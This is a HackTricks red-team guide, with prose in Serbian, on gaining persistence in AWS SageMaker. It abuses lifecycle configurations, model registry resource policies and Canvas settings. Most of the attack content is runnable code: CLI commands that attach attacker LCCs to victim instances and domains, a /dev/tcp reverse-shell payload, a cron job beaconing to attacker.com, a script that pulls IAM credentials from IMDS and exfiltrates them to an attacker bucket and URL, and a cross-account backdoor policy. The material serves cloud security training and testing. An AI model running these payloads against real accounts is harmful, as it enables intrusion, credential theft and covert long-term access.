AWS - SageMaker Persistence

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled Persistence tehnika

Ovaj odeljak iznosi metode za dobijanje persistence u SageMaker zloupotrebom Lifecycle Configurations (LCCs), uključujući reverse shells, cron jobs, credential theft via IMDS i SSH backdoors. Ovi skripti se izvršavaju sa IAM role instance i mogu opstati nakon restartovanja. Većina tehnika zahteva odlazni mrežni pristup, ali korišćenje servisa na AWS control plane-u i dalje može omogućiti uspeh ako je okruženje u ‘VPC-only’ režimu.

Tip

Napomena: SageMaker notebook instances su u suštini upravljani EC2 instances posebno konfigurisani za machine learning workloads.

Potrebne dozvole

  • Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Studio Applications:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Postavljanje Lifecycle Configuration na Notebook Instances

Primeri AWS CLI komandi:

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Postavite Lifecycle Configuration u SageMaker Studio

Lifecycle Configurations se mogu priložiti na različitim nivoima i različitim tipovima aplikacija unutar SageMaker Studio.

Nivo domena Studio (svi korisnici)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Studio Space Nivo (pojedinačni ili deljeni prostori)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Vrste konfiguracija životnog ciklusa za Studio aplikacije

Konfiguracije životnog ciklusa se mogu primeniti specifično na različite tipove SageMaker Studio aplikacija:

  • JupyterServer: Pokreće skripte tokom pokretanja Jupyter servera, idealno za mehanizme perzistencije kao što su reverse shells i cron jobs.
  • KernelGateway: Izvršava se tokom pokretanja KernelGateway aplikacije, korisno za inicijalno podešavanje ili trajni pristup.
  • CodeEditor: Odnosi se na Code Editor (Code-OSS), omogućavajući skripte koje se izvršavaju pri početku sesija uređivanja koda.

Primer komande za svaki tip:

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

Uređivač koda

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Kritične informacije:

  • Dodavanje LCCs na nivou domena ili space-a utiče na sve korisnike ili aplikacije u opsegu.
  • Zahteva veće dozvole (sagemaker:UpdateDomain, sagemaker:UpdateSpace); obično je izvodljivije na nivou space-a nego na nivou domena.
  • Kontrole na nivou mreže (npr. strogo filtriranje izlaznog saobraćaja) mogu sprečiti uspešne reverse shells ili eksfiltraciju podataka.

Reverse Shell via Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) izvršavaju prilagođene skripte kada se notebook instances pokrenu. Napadač sa odgovarajućim dozvolama može uspostaviti trajni reverse shell.

Payload Example:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence putem Lifecycle Configuration

Napadač može ubaciti cron job-ove putem LCC skripti, obezbeđujući periodično izvršavanje malicioznih skripti ili komandi, omogućavajući prikrivenu persistence.

Primer Payload-a:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Lifecycle configurations mogu poslati zahtev ka Instance Metadata Service (IMDS) da preuzmu IAM credentials i exfiltrate ih na lokaciju pod kontrolom napadača.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Perzistencija preko Model Registry resource policy (PutModelPackageGroupPolicy)

Iskoristite resource-based policy na SageMaker Model Package Group da dodelite eksternom principal-u cross-account prava (npr. CreateModelPackage/Describe/List). Ovo kreira trajan backdoor koji omogućava pushing poisoned model verzija ili čitanje model metadata/artifacts čak i ako je attacker-ov IAM user/role u victim account-u uklonjen.

Required permissions

  • sagemaker:CreateModelPackageGroup
  • sagemaker:PutModelPackageGroupPolicy
  • sagemaker:GetModelPackageGroupPolicy

Steps (us-east-1)

# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text

Napomene

  • For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal.
  • For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.

Uticaj

  • Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account.

Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)

Iskoristite SageMaker Canvas korisnička podešavanja da tiho preusmerite upise u model registry na attacker-controlled account omogućavanjem ModelRegisterSettings i postavljanjem CrossAccountModelRegisterRoleArn na attacker role u drugom accountu.

Potrebne dozvole

  • sagemaker:UpdateUserProfile na ciljani UserProfile
  • Opcionalno: sagemaker:CreateUserProfile na Domain koji kontrolišete

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks